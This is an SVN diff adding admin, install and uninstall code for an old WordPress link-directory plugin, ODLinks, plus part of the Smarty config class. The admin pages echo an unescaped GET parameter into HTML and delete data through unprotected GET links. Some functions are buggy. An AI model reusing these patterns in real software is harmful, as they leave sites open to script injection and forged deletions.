+			<td><input type="text" size="4" name="odlinksdata[odlinks_num_pages]" value="<?php echo ($odlinkssettings['odlinks_num_pages']);?>" onchange="this.value=this.value*1;">
+			</td>
+			</tr>
+				
+			<tr><th align="right">ODLinks Top Image:</th>
+			<td><input type="text" size="25" name="odlinksdata[odlinks_top_image]" value="<?php echo ($odlinkssettings['odlinks_top_image']);?>">
+			</td>
+			</tr>
+				
+			<tr><th align="right">Show the confirmation code: </th>	
+			<td><input type=checkbox name="odlinksdata[confirmation_code]" value="y"<?php echo ($odlinkssettings['confirmation_code']=='y')?" checked":"";?>></td>
+			</tr>
+		<tr><td colspan=2><hr /><strong>Google AdSense for Open Directory Links</strong><hr /></td></tr>
+		<?php
+		//for upgrade versions
+		if (!$odlinkssettings[GADcolor_border]) $odlinkssettings[GADcolor_border]= 'FFFFFF';
+		if (!$odlinkssettings[GADcolor_link]) $odlinkssettings[GADcolor_link]= '0000FF';
+		if (!$odlinkssettings[GADcolor_bg]) $odlinkssettings[GADcolor_bg]= 'FFFFFF';
+		if (!$odlinkssettings[GADcolor_text]) $odlinkssettings[GADcolor_text]= '000000';
+		if (!$odlinkssettings[GADcolor_url]) $odlinkssettings[GADcolor_url]= 'FF0000';
+		if (!$odlinkssettings[GADposition]) $odlinkssettings[GADposition]= 'btn';
+		if (!$odlinkssettings[GADproduct]) $odlinkssettings[GADproduct]= 'link';
+		if (!$odlinkssettings[googleID]) $odlinkssettings[googleID] = 'pub-2844370112691023';
+		$GADpos = array ('top' => 'top','btn' => 'bottom', 'bth' => 'both','no' => 'none');
+		?>
+		<tr>
+  		<th align="right" valign="top"><a href='https://www.google.com/adsense/' target='google'>Google AdSense Account ID: </a></th>
+  		<td><input type='text' name='odlinksdata[googleID]' id='odlinksdata[googleID]' value="<?php echo ($odlinkssettings['googleID']);?>" size='22' /><br><span class="smallTxt"> example: no, pub-2844370112691023 or ...
+		</span></td></tr>
+		<tr>
+			<th align="right" valign="top">Google Ad Position: </th>
+			<td>
+				<select name="odlinksdata[GADposition]" tabindex="1">
+				<?php
+				foreach($GADpos as $key=>$value)	{
+					if ($key == $odlinkssettings[GADposition]) {
+						echo "\n<option value='$key' selected='selected'>$value</option>\n";
+					} else {
+						echo "\n<option value='$key'>$value</option>\n";
+					}
+				}
+				?>
+				</select>&nbsp;&nbsp;<span class="smallTxt">(If this value is assigned to 'none' then the Google Ads will not show up)</small>
+			</td>
+		</tr>
+
+		<?php
+		$share = '10'; // my smallest cut on ad revenue is 10% -  
+		while($share<101){
+		if($share==$odlinkssettings['share']){
+			$share_list .= "<option value='$share' selected='selected'>$share%\n";
+		}else{
+			$share_list .= "<option value='$share'>$share%\n";
+		}
+		++$share;
+		}
+		?>
+		<tr>
+  		<th align="right" valign="top"><label>Plugin Author Ad Share: </label></th>
+  		<td>
+      		<select name='odlinksdata[share]'><?php echo $share_list;?></select>
+    		</td>
+  		</tr>
+
+		<?php
+		$odlinkssettings[GADproduct] = 'link';
+		$lformats=array ('728x15'  => '728 x 15', '468x15' => '468 x 15');
+		?>
+
+		<th align="right" valign="top"><label>Link Format: </label></th>
+		<td><select name="odlinksdata[GADLformat]">
+			<?php
+			foreach($lformats as $key=>$value)	{
+				if ($key == $odlinkssettings[GADLformat]) {
+					echo "\n<option value='$key' selected='selected'>$value</option>\n";
+				} else {
+					echo "\n<option value='$key'>$value</option>\n";
+				}
+			}
+			?>
+		</select></td>	
+		</tr>
+		<tr><th align="right">Ad Colours: </th><td></td></tr>
+		<tr><td colspan=2 align="center">
+		<table><tr>
+		<td>Border: </td>
+		<td><input name='odlinksdata[GADcolor_border]' id='odlinksdata[GADcolor_border]' size='6' value='<?php echo $odlinkssettings[GADcolor_border]; ?>'/>
+		</td>
+		<td>Title/Link: </td>
+		<td><input name='odlinksdata[GADcolor_link]' id='odlinksdata[GADcolor_link]' size='6' value='<?php echo $odlinkssettings[GADcolor_link]; ?>'/>
+		</td>
+		<td>Background: </td>
+		<td><input name='odlinksdata[GADcolor_bg]' id='odlinksdata[GADcolor_bg]' size='6' value='<?php echo $odlinkssettings[GADcolor_bg]; ?>'/>
+		</td>
+		<td>Text: </td>
+		<td><input name='odlinksdata[GADcolor_text]' id='odlinksdata[GADcolor_text]' size='6' value='<?php echo $odlinkssettings[GADcolor_text]; ?>'/>
+		</td>
+		<td>URL: </td>
+		<td><input name='odlinksdata[GADcolor_url]' id='odlinksdata[GADcolor_url]' size='6' value='<?php echo $odlinkssettings[GADcolor_url]; ?>'/>
+		</td>
+		</tr>
+		</th></tr></table>
+		</td></tr>
+		<tr><td colspan=2><HR /></td></tr>
+		<tr><th>&nbsp;</th>
+			<td><p><input type="submit" value="Update ODLinks Settings"></p></td>
+		</tr>
+		</table>
+		</form>
+	</p></div>
+	<?php
+}
+
+function odlinksinstall(){
+	global $odlinksversion;
+
+	$odlinkssettings = get_option('odlinksdata');
+	$odlinkssettings['odlinksversion'] = $odlinksversion;
+
+	if ($odlinkssettings['odlinksinstalled']!='y'){
+		$odlinkssettings['odlinksinstalled'] = 'y';
+		$odlinkssettings['userfield'] = odlinksget_namefield();
+		$odlinkssettings['odlinksadd_into_pages'] = 'y';
+		$odlinkssettings['odlinksshow_credits'] = 'y';
+		$odlinkssettings['odlinksread_blog'] = 'y';
+		$odlinkssettings['odlinksslug'] = 'odlinks';
+		$odlinkssettings['page_link_title'] = 'Open Directory Links';
+		$odlinkssettings['odlinkstheme'] = 'default';
+		$odlinkssettings['odlinks_display_titles'] = 'y';
+
+		$odlinkssettings['odlinks_top_image'] = '';
+		$odlinkssettings['odlinks_display_last_links'] = 'y';
+		$odlinkssettings['odlinks_display_last_post_link'] = 'y';
+		$odlinkssettings['odlinks_last_links_num'] = 5;
+		$odlinkssettings['odlinks_excerpt_length'] = 100;
+		$odlinkssettings['odlinks_last_links'] = "y";
+		$odlinkssettings['confirmation_code']="y";
+		$odlinkssettings['odlinks_new_links'] = '10';
+		$odlinkssettings['odlinks_sub_cat_num'] = '10';
+		$odlinkssettings['odlinks_num_links'] = '4';
+		$odlinkssettings['odlinks_num_pages'] = '10';
+		$odlinkssettings['odlinks_search_log'] = '25';
+//		
+
+		$odlinkssettings['odlinks_description'] = '';
+		$odlinkssettings['odlinks_keywords'] = 'dummy'; 
+
+		$odlinkssettings['googleID'] = 'pub-2844370112691023';
+		$odlinkssettings['GADproduct'] = 'link';
+		$odlinkssettings['GADLformat'] = '468x15';
+		$odlinkssettings['GADtype'] = 'text';
+		$odlinkssettings[GADcolor_border]= 'FFFFFF';
+		$odlinkssettings[GADcolor_link]= '0000FF';
+		$odlinkssettings[GADcolor_bg]= 'E4F2FD';
+		$odlinkssettings[GADcolor_text]= '000000';
+		$odlinkssettings[GADcolor_url]= 'FF0000';
+		$odlinkssettings[GADposition] = 'btn';
+	}
+
+	update_option('odlinksdata', $odlinkssettings);
+}
+
+function odlinkscheck_db(){
+	odlinksupdate_db();
+}
+
+function odlinksupdate_db(){
+	global $wpdb, $table_prefix, $odlinksversion;
+
+	$odlinkssql[$table_prefix.'odcategories'] = "CREATE TABLE {$table_prefix}odcategories (
+		c_id int(11) NOT NULL auto_increment,
+		c_parent int(11) NOT NULL default '0',
+		c_position int(11) NOT NULL default '0',
+		c_name varchar(150) NOT NULL,
+		c_title varchar(150) NOT NULL,
+		c_description text NOT NULL,
+		c_text text NOT NULL,
+		c_date date,
+		c_keywords text,
+		c_status enum('active','inactive','readonly') NOT NULL default 'active',
+		c_hide enum('hidden','visible') NOT NULL default 'visible',
+		c_links int(11) NOT NULL default '0',
+		c_posts int(11) NOT NULL default '0',
+		c_rss text,
+		PRIMARY KEY (c_id),
+		KEY c_parent (c_parent)
+	);";
+
+	$odlinkssql[$table_prefix.'odbanned'] = "CREATE TABLE {$table_prefix}odbanned (
+		b_id int(11) NOT NULL auto_increment,
+		c_domain text NOT NULL,
+		PRIMARY KEY (b_id)
+	);";
+
+/*
+	CREATE TABLE search_log (
+  id int(11) NOT NULL auto_increment,
+  date date NOT NULL default '0000-00-00',
+  matches int(11) NOT NULL default '0',
+  text text NOT NULL,
+  PRIMARY KEY  (id),
+  FULLTEXT KEY text (text)
+) DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
+
+*/
+	$odlinkssql[$table_prefix.'odlinks'] = "CREATE TABLE {$table_prefix}odlinks (
+		l_id int(11) NOT NULL auto_increment,
+		l_c_id int(11) NOT NULL default '0',
+		l_date date,
+		l_subject varchar(255) NOT NULL default '',
+		l_description text NOT NULL default '',
+		l_url varchar(255) NOT NULL default '',
+		l_posts int(11) NOT NULL default '0',
+		l_views int(11) NOT NULL default '0',
+		l_sticky enum('y','n') NOT NULL default 'n',
+		l_status enum('closed','deleted','open') NOT NULL default 'open',
+		l_hide enum('hidden','visible') NOT NULL default 'visible',
+		l_author_name varchar(100) NOT NULL default '',
+		l_author_ip varchar(15) NOT NULL default '',
+		l_author_mail varchar(64) NOT NULL default '',
+		l_recip tinyint(4) NOT NULL default '0',
+		l_title varchar(255),
+		l_google_rank varchar(255),
+		PRIMARY KEY (l_id) 
+	);";
+
+	$odlinkssql[$table_prefix.'odpages'] = "CREATE TABLE {$table_prefix}odpages (
+		p_id int(11) NOT NULL auto_increment,
+		p_l_id int(11) NOT NULL default '0',
+		p_url text NOT NULL,
+		p_title text NOT NULL,
+		p_description text NOT NULL,
+		p_google_rank tinyint(4) NOT NULL default '0',
+		p_recip tinyint(4) NOT NULL default '0',
+		p_date int(20) NOT NULL default '0',
+		p_size int(32) NOT NULL default '0',
+		PRIMARY KEY (p_id)
+	);";
+
+	$odlinkssql[$table_prefix.'odnew_links'] = "CREATE TABLE {$table_prefix}odnew_links (
+		n_id int(11) NOT NULL auto_increment,
+		n_url text NOT NULL,
+		n_title text NOT NULL,
+		n_description text NOT NULL,
+		n_email tinytext NOT NULL,
+		n_category int(11) NOT NULL default '0',
+		PRIMARY KEY  (n_id)
+	);";
+
+
+	$tabs = $wpdb->get_results("SHOW TABLES", ARRAY_N);
+
+	$tables = array();
+
+	for ($i=0; $i<count($tabs); $i++){
+		$tables[] = $tabs[$i][0];
+	}
+
+	@reset($odlinkssql);
+
+	while (list($k, $v) = @each($odlinkssql)){
+		if (!@in_array($k, $tables)){
+			echo " - create table: " .  $k . "<br />"; 
+			$wpdb->query($v);
+		}
+	}
+}
+
+function odlinksget_namefield(){
+	global $wpdb, $table_prefix, $wp_version;
+	if ($user_field == false){
+		$tcols = $wpdb->get_results("SHOW COLUMNS FROM {$table_prefix}users", ARRAY_A);
+		$cols = array();
+		for ($i=0; $i<count($tcols); $i++){
+			$cols[] = $tcols[$i]['Field'];
+		}
+		if (in_array("display_name", $cols)){
+			$wpc_user_field = "display_name";
+			$wp_version = "2";
+		} else {
+			$wpc_user_field = "user_nickname";
+			$wp_version = "1";
+		}
+	}
+	return $user_field;
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_structure.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_structure.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_structure.php	(revision 44)
@@ -0,0 +1,232 @@
+<?php
+
+/**
+ * odl_admin_structure.php
+ *
+ * This file handles the Administration of the Categories
+ *
+ * @author Mohammad Forgani
+ * @copyright Copyright 2008, Oh Jung-Su
+ * @version 1.0
+ * @link http://www.forgani.com
+ **/
+
+function process_odlinksstructure(){
+	global $_GET, $_POST, $table_prefix, $PHP_SELF, $wpdb;
+	$odlinkssettings = get_option('odlinksdata');
+    $view = true;
+	$id = $_GET['c_id']*1;
+	if (!$id) $id=0;
+	echo '<div class="wrap"><h2>ODLinks Sturcture - Add/Edit Categories</h2><p>';
+	switch ($_GET['odlinks_admin_action']){
+		case "saveCategory":
+			if ($id==0){
+				$today = date("Y-m-d");
+				if ($_POST['odlinksdata']['c_hide']=='y'){
+					$c_hide = "hidden";
+				}else{$c_hide = "visible";}
+				$position = $wpdb->get_var("SELECT MAX(c_position) FROM {$table_prefix}odcategories")+1;
+				$sql = "INSERT INTO {$table_prefix}odcategories (c_parent, c_name, c_title, c_description, c_keywords, c_position, c_status, c_hide, c_date) values ('".($_POST['odlinksdata']['c_parent']*1)."', '".$wpdb->escape($_POST['odlinksdata']['c_name'])."', '".$wpdb->escape($_POST['odlinksdata']['c_title'])."', '".$wpdb->escape($_POST['odlinksdata']['c_description'])."',  '".$wpdb->escape($_POST['odlinksdata']['c_keywords'])."', '".$position."', '".$wpdb->escape($_POST['odlinksdata']['c_status'])."', '".$c_hide."', '".$today."')";
+				$wpdb->query($sql);
+			} else {
+				if ($_POST['odlinksdata']['c_hide']=='y'){
+					$c_hide = "hidden";
+				} else{
+					$c_hide = "visible";
+				}
+				$sql = "UPDATE {$table_prefix}odcategories SET c_status = '".$wpdb->escape($_POST['odlinksdata']['c_status'])."', c_hide = '".$c_hide."', c_parent = '".($_POST['odlinksdata']['c_parent']*1)."', c_title = '".$wpdb->escape(stripslashes($_POST['odlinksdata']['c_title']))."', c_name = '".$wpdb->escape(stripslashes($_POST['odlinksdata']['c_name']))."', c_status = '".$wpdb->escape(stripslashes($_POST['odlinksdata']['c_status']))."', c_hide = '".$c_hide."', c_description = '".$wpdb->escape(stripslashes($_POST['odlinksdata']['c_description']))."' WHERE c_id = '".($_GET['c_id']*1)."'";
+				$wpdb->query($sql);
+			}
+			$msg ="Category Saved.";
+		break;
+		case "editCategory":
+				odl_edit_category($id);
+				$view = false;
+		break;
+		case "deleteCategory":
+			if ($id<>0) {
+				$wpdb->query("DELETE FROM {$table_prefix}odcategories WHERE c_id = '".($id)."'");
+				$wpdb->query("DELETE FROM {$table_prefix}odlinks WHERE l_c_id = '".($id)."'");
+			}
+		break;
+	}
+
+	if ($msg!=''){
+		?>
+		<div id="message" class="updated fade"><?php echo $msg;?></div>
+		<?php
+	}
+	if ($view) odl_view_category(0);
+	echo '</div>';
+}
+
+
+
+function odl_edit_category($id) {
+	global $_GET, $_POST, $table_prefix, $PHP_SELF, $wpdb;
+	$odlinkssettings = get_option('odlinksdata');
+	$odCategories = $wpdb->get_row("SELECT * FROM {$table_prefix}odcategories WHERE c_id = '".($id)."'", ARRAY_A);
+	?>
+	<P>
+	<style type="text/css">
+	fieldset {
+	  padding: 1em;
+	  font:12px;
+	  font-weight:bold;
+	  border:1px solid #ddd;
+	}
+	label {
+	  float:left;
+	  width:25%;
+	  margin-right:0.5em;
+	  padding-top:0.2em;
+	  text-align:right;
+	  font-weight:bold;}
+	 </style>
+	
+	<form method="post" id="odl_form_post" name="odl_form_post" action="<?php echo $PHP_SELF;?>?page=odlinksstructure&odlinks_admin_page_arg=<?php echo $_GET['odlinks_admin_page_arg'];?>&odlinks_admin_action=saveCategory&c_id=<?php echo $id; ?>">
+	<fieldset>
+	<legend>Edit Category</legend>
+	<label>Category title:</label>
+	<input type="text" size="50" name="odlinksdata[c_title]" value="<?php echo $odCategories['c_title'];?>">
+	<br>
+	<label>Category name:</label>
+	<input type="text" size="50" name="odlinksdata[c_name]" value="<?php echo $odCategories['c_name'];?>">
+	<br>
+	<label>Category description:</label>
+	<textarea name="odlinksdata[c_description]" rows="3" cols="48"><?php echo $odCategories['c_description'];?></textarea>
+	<br>
+	<label>Category keywords:</label>
+	<input type="text" size="50" name="odlinksdata[c_keywords]" value="<?php echo $odCategories['c_keywords'];?>">
+	<br>
+	<label>Parent category:</label>
+		<select name="odlinksdata[c_parent]">
+		<option value="0">root/  </option>
+		<?php odl_list_cats(0,0,$odCategories['c_id'],$odCategories['c_parent']); ?>
+		</select>
+	<br>
+	<label>Category Status</label>
+	<select name="odlinksdata[c_status]"><option value="active">Open</option>
+	<option value="inactive"<?php echo ($odCategories['c_status']=='inactive')?" selected":"";?>>Closed</option>
+	<option value="readonly"<?php echo ($odCategories['c_status']=='readonly')?" selected":"";?>>Read-Only</option>
+	</select>
+	<br>
+	<label>&nbsp;</label>
+	<input type="checkbox" name="odlinksdata[c_hide]" value="y"<?php echo ($odCategories['c_hide']=='hidden')?" checked":"";?>> -Hide Category?
+	<P>
+	<label>&nbsp;</label>
+	<input type="submit" value="Save category">&nbsp;&nbsp;<input type=button value="Cancel" onclick="history.go(-1);"> </fieldset>
+	</form>
+	<P>
+	<?php
+} 
+
+
+
+function odl_view_category($id) {
+	global $_GET, $_POST, $table_prefix, $PHP_SELF, $wpdb;
+	$odlinkssettings = get_option('odlinksdata');
+	$categoy_status = array(active=>"Open",inactive=>"Closed",readonly=>"Read-Only");
+	?>
+	<input type="button" value="Add Category" onclick="document.location.href='<?php echo $PHP_SELF;?>?page=odlinksstructure&odlinks_admin_page_arg=<?php echo $_GET['odlinks_admin_page_arg'];?>&odlinks_admin_action=editCategory&c_id=0';">
+	<hr> 
+	<img src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/odlinks/images/delete.png"> - delete category, including subcategories and all links within.<p> 
+	
+	<table style="width: 100%; background-color:#fafafa; border:1px #C0C0C0 solid; border-spacing:1px;">
+	<tr><td> 
+		<table width="100%" style="border:1px #C0C0C0 solid;"> 
+		<tr style="background-color:#ccc">
+			<td style="border:1px #C0C0C0 solid; padding-left:2px; background-color:#ccc"><img border=0 src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/odlinks/images/edit.gif"> Title / Name</td>
+			<td style="border:1px #C0C0C0 solid; padding-left:2px; background-color:#ccc" width="150">Number of links</td>
+			<td nowrap style="border:1px #C0C0C0 solid; padding-left:2px; background-color:#ccc">Date</td>
+			<td style="border:1px #C0C0C0 solid; padding-left:2px; background-color:#ccc">Delete</td>
+			</tr> 
+			<?php odl_main_cats($id,0,$orderby,$how);?> 
+		</table></td>
+	</tr></table> 
+	</table>
+	<?php
+} // odl_view_category
+
+
+function odl_list_cats($parent, $lev, $exclude, $selected) { 
+	global $table_prefix, $wpdb;
+	$out = ""; 
+	if ($lev == 0) {
+		echo "\n"; 
+	}
+	$space = ""; 
+	for ($x = 0; $x < $lev; $x++) { 
+		$space .= "&nbsp;&nbsp;&nbsp;-&nbsp;"; 
+	} 
+	$categories = $wpdb->get_results("SELECT * FROM {$table_prefix}odcategories WHERE c_parent = '$parent' ORDER BY c_title ASC"); 
+	for ($i=0; $i<count($categories); $i++){
+		$category = $categories[$i];
+		$res = $wpdb->get_row("SELECT * FROM {$table_prefix}odlinks WHERE l_c_id = '".$category->c_id."'", ARRAY_A); 
+		$linksNum = count($res);
+		$id = $category->c_id; 
+		$title = $category->c_title;
+		$sel = ""; 
+		if($id == $selected){$sel = " selected ";}
+		if($id != $exclude){echo "<option $sel value=\"$id\">$space$title ($linksNum)</option>";} 
+		$out = odl_list_cats($id, $lev + 1, $exclude, $selected);  
+	}
+	return $out; 
+} 
+
+
+function odl_main_cats($parent,$lev,$orderby,$how) { 
+	global $table_prefix, $wpdb;
+	$out = ""; 
+	if($lev == 0){print "\n";} 
+	if(!$how){$how = "ASC";} 
+	if($orderby <> "c_date"){$orderby = "c_title";} 
+	$space = ""; 
+
+	?>
+	<script language=javascript>
+		<!--
+		function deleteCategory(x, y){
+			if (confirm("<?php echo ("Are you sure you wish to delete the Category"); ?>\n"+x)){
+				document.location.href = y;
+			}
+		}
+		//-->
+	</script>
+	<?
+
+	for($x=0;$x<$lev;$x++){ 
+		$space .= "&nbsp;&nbsp;&nbsp;&nbsp;"; 
+	} 
+	$sql = "SELECT * FROM {$table_prefix}odcategories WHERE c_parent = $parent ORDER BY $orderby $how";
+	$categories = $wpdb->get_results($sql); 
+	for ($i=0; $i<count($categories); $i++){
+		$category = $categories[$i];
+		$linksCnt = $wpdb->get_row("SELECT count(l_id) as count FROM {$table_prefix}odlinks WHERE l_c_id = '".$category->c_id."'", ARRAY_A); 
+		$linksNum = $linksCnt['count'];
+		$id = $category->c_id; 
+		$title = $category->c_title;
+		$name = $category->c_name;
+		$categoy_status = array(active=>"Open",inactive=>"Closed",readonly=>"Read-Only");
+		
+		$status = $categoy_status[$category->c_status];
+		echo '<tr bgcolor="#F0F0F0" onMouseOver="this.bgColor="#FFFFFF";" onMouseOut="this.bgColor="#E9E9E9";">'; 
+		echo '<td style="background-color:#E9E9E9">&nbsp;' . $space;
+		?>	
+		<a style="text-decoration: none;" href="<?php echo $PHP_SELF;?>?page=odlinksstructure&odlinks_admin_page_arg=<?php echo $_GET['odlinks_admin_page_arg'];?>&odlinks_admin_action=editCategory&c_id=<?php echo $id;?>"><?php echo ($title . " / " . $name); ?></a>
+		<?php
+		echo "<span class=\"font-size:8px;\">(" . $status;
+		echo ($tfs->c_hide=='hidden')?" and Hidden":""; 
+		echo ")</span></td>";
+
+		echo '<td style="background-color:#E9E9E9">(<a href="'. $PHP_SELF .'?page=odlinksstructure&odlinks_admin_page_arg=' . $_GET['odlinks_admin_page_arg'] .'&odlinks_admin_action=viewCategory&c_id=' .$category->c_parent. '">'. $linksNum .'</a>)</td>';
+		echo '<td>'.$category->c_date.'</td>'; 
+		?>
+		<td style="background-color:#E9E9E9"><a style="text-decoration: none;" href="javascript:deleteCategory('<?php echo rawurlencode($category->c_title . " " . $category->c_name );?>', '<?php echo $PHP_SELF;?>?page=odlinksstructure&odlinks_admin_page_arg=<?php echo $_GET['odlinks_admin_page_arg'];?>&odlinks_admin_action=deleteCategory&c_id=<?php echo $id;?>');"><img border=0 src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/odlinks/images/delete.png"></a></td></tr>
+		<?php
+		$print = odl_main_cats($id,$lev + 1,$orderby,$how); 
+	} 
+	return $out; 
+} 
+	
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_utilities.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_utilities.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_utilities.php	(revision 44)
@@ -0,0 +1,79 @@
+<?php
+
+/*
+ * odl_admin_utilities.php
+ *
+ * This file handles the Administration of the Categories
+ *
+ * @author Mohammad Forgani
+ * @copyright Copyright 2008, Oh Jung-Su
+ * @version 1.0
+ * @link http://www.forgani.com
+*/
+
+
+function process_odlinksutilities(){
+	global $_GET, $_POST, $wpdb;
+	$exit = FALSE;
+	$msg = '<div class="wrap"><h2>ODLinks Utilities</h2><p>';	
+	switch ($_GET["odlinks_admin_action"]){
+		default:
+		case "list":
+			?>
+			<?php
+		break;
+		case "uninstall":
+			odlinksuninstall_db();
+			$deactivate_url = 'plugins.php?action=deactivate&plugin=odlinks/odl_control.php';
+			if(function_exists('wp_nonce_url')) {
+				$deactivate_url = wp_nonce_url($deactivate_url, 'deactivate-plugin_odlinks/odl_control.php');
+			}
+			$msg .= '<h3><strong><a href='.$deactivate_url.'>Click Here</a> to finish the uninstallation and "ODLinks" will be deactivated automatically.</strong></h3></div>';
+			$exit = TRUE;
+		break;
+	}
+	if ($msg!=''){
+		?>
+		<p>
+		<b><?php echo $msg; ?></b>
+		</p>
+		<?php
+	}
+?>
+
+<script language=javascript>
+<!--
+function uninstallodlinks(y){
+	if (confirm("Are you sure you want to Uninstall the ODLinks?\n")){
+		document.location.href = y;
+	}
+}
+//-->
+</script>
+	<?php
+	if (!$exit) {
+	?>
+		<p>
+			<h3>Uninstall</h3>
+			Just make sure you create backups before you drops the Open Directory Links Database tables.
+			<br />
+			<br />
+			PLEASE NOTE: To remove ODLinks you must deactivate it via the Plugins page BEFORE removing the odlinks folder.
+			<br />
+			<br />
+			<a href="javascript:uninstallodlinks('<?php echo $PHP_SELF;?>?page=odlinksutilities&odlinks_admin_page_arg=<?php echo $_GET['odlinks_admin_page_arg'];?>&odlinks_admin_action=uninstall')">Uninstall ODLinks from the Database?</a>
+		</p></div>
+	<?php
+	}
+}
+
+function odlinksuninstall_db(){
+	global $wpdb, $table_prefix;
+	$wpdb->query("DROP TABLE {$table_prefix}odcategories, {$table_prefix}odlinks, {$table_prefix}odnew_links, {$table_prefix}odpages, {$table_prefix}odbanned");
+	$wpdb->query("DELETE FROM {$table_prefix}posts WHERE post_title = '[[ODLINKS]]'");
+	$wpdb->query("DELETE FROM {$table_prefix}options WHERE option_name = 'odlinksdata'");
+	echo '<div id="message" class="updated fade">Uninstall Successful!</div>';
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/Config_File.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/Config_File.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/Config_File.class.php	(revision 44)
@@ -0,0 +1,389 @@
+<?php
+
+/**
+ * Config_File class.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *
+ * @link http://smarty.php.net/
+ * @version 2.6.14
+ * @copyright Copyright: 2001-2005 New Digital Group, Inc.
+ * @author Andrei Zmievski <andrei@php.net>
+ * @access public
+ * @package Smarty
+ */
+
+/* $Id: Config_File.class.php,v 1.84 2006/01/18 19:02:52 mohrt Exp $ */
+
+/**
+ * Config file reading class
+ * @package Smarty
+ */
+class Config_File {
+    /**#@+
+     * Options
+     * @var boolean
+     */
+    /**
+     * Controls whether variables with the same name overwrite each other.
+     */
+    var $overwrite        =    true;
+
+    /**
+     * Controls whether config values of on/true/yes and off/false/no get
+     * converted to boolean values automatically.
+     */
+    var $booleanize        =    true;
+
+    /**
+     * Controls whether hidden config sections/vars are read from the file.
+     */
+    var $read_hidden     =    true;
+
+    /**
+     * Controls whether or not to fix mac or dos formatted newlines.
+     * If set to true, \r or \r\n will be changed to \n.
+     */
+    var $fix_newlines =    true;
+    /**#@-*/
+
+    /** @access private */
+    var $_config_path    = "";
+    var $_config_data    = array();
+    /**#@-*/
+
+    /**
+     * Constructs a new config file class.
+     *
+     * @param string $config_path (optional) path to the config files
+     */
+    function Config_File($config_path = NULL)
+    {
+        if (isset($config_path))
+            $this->set_path($config_path);
+    }
+
+
+    /**
+     * Set the path where configuration files can be found.
+     *
+     * @param string $config_path path to the config files
+     */
+    function set_path($config_path)
+    {
+        if (!empty($config_path)) {
+            if (!is_string($config_path) || !file_exists($config_path) || !is_dir($config_path)) {
+                $this->_trigger_error_msg("Bad config file path '$config_path'");
+                return;
+            }
+            if(substr($config_path, -1) != DIRECTORY_SEPARATOR) {
+                $config_path .= DIRECTORY_SEPARATOR;
+            }
+
+            $this->_config_path = $config_path;
+        }
+    }
+
+
+    /**
+     * Retrieves config info based on the file, section, and variable name.
+     *
+     * @param string $file_name config file to get info for
+     * @param string $section_name (optional) section to get info for
+     * @param string $var_name (optional) variable to get info for
+     * @return string|array a value or array of values
+     */
+    function get($file_name, $section_name = NULL, $var_name = NULL)
+    {
+        if (empty($file_name)) {
+            $this->_trigger_error_msg('Empty config file name');
+            return;
+        } else {
+            $file_name = $this->_config_path . $file_name;
+            if (!isset($this->_config_data[$file_name]))
+                $this->load_file($file_name, false);
+        }
+
+        if (!empty($var_name)) {
+            if (empty($section_name)) {
+                return $this->_config_data[$file_name]["vars"][$var_name];
+            } else {
+                if(isset($this->_config_data[$file_name]["sections"][$section_name]["vars"][$var_name]))
+                    return $this->_config_data[$file_name]["sections"][$section_name]["vars"][$var_name];
+                else
+                    return array();
+            }
+        } else {
+            if (empty($section_name)) {
+                return (array)$this->_config_data[$file_name]["vars"];
+            } else {
+                if(isset($this->_config_data[$file_name]["sections"][$section_name]["vars"]))
+                    return (array)$this->_config_data[$file_name]["sections"][$section_name]["vars"];
+                else
+                    return array();
+            }
+        }
+    }
+
+
+    /**
+     * Retrieves config info based on the key.
+     *
+     * @param $file_name string config key (filename/section/var)
+     * @return string|array same as get()
+     * @uses get() retrieves information from config file and returns it
+     */
+    function &get_key($config_key)
+    {
+        list($file_name, $section_name, $var_name) = explode('/', $config_key, 3);
+        $result = &$this->get($file_name, $section_name, $var_name);
+        return $result;
+    }
+
+    /**
+     * Get all loaded config file names.
+     *
+     * @return array an array of loaded config file names
+     */
+    function get_file_names()
+    {
+        return array_keys($this->_config_data);
+    }
+
+
+    /**
+     * Get all section names from a loaded file.
+     *
+     * @param string $file_name config file to get section names from
+     * @return array an array of section names from the specified file
+     */
+    function get_section_names($file_name)
+    {
+        $file_name = $this->_config_path . $file_name;
+        if (!isset($this->_config_data[$file_name])) {
+            $this->_trigger_error_msg("Unknown config file '$file_name'");
+            return;
+        }
+
+        return array_keys($this->_config_data[$file_name]["sections"]);
+    }
+
+
+    /**
+     * Get all global or section variable names.
+     *
+     * @param string $file_name config file to get info for
+     * @param string $section_name (optional) section to get info for
+     * @return array an array of variables names from the specified file/section
+     */
+    function get_var_names($file_name, $section = NULL)
+    {
+        if (empty($file_name)) {
+            $this->_trigger_error_msg('Empty config file name');
+            return;
+        } else if (!isset($this->_config_data[$file_name])) {
+            $this->_trigger_error_msg("Unknown config file '$file_name'");
+            return;
+        }
+
+        if (empty($section))
+            return array_keys($this->_config_data[$file_name]["vars"]);
+        else
+            return array_keys($this->_config_data[$file_name]["sections"][$section]["vars"]);
+    }
+
+
+    /**
+     * Clear loaded config data for a certain file or all files.
+     *
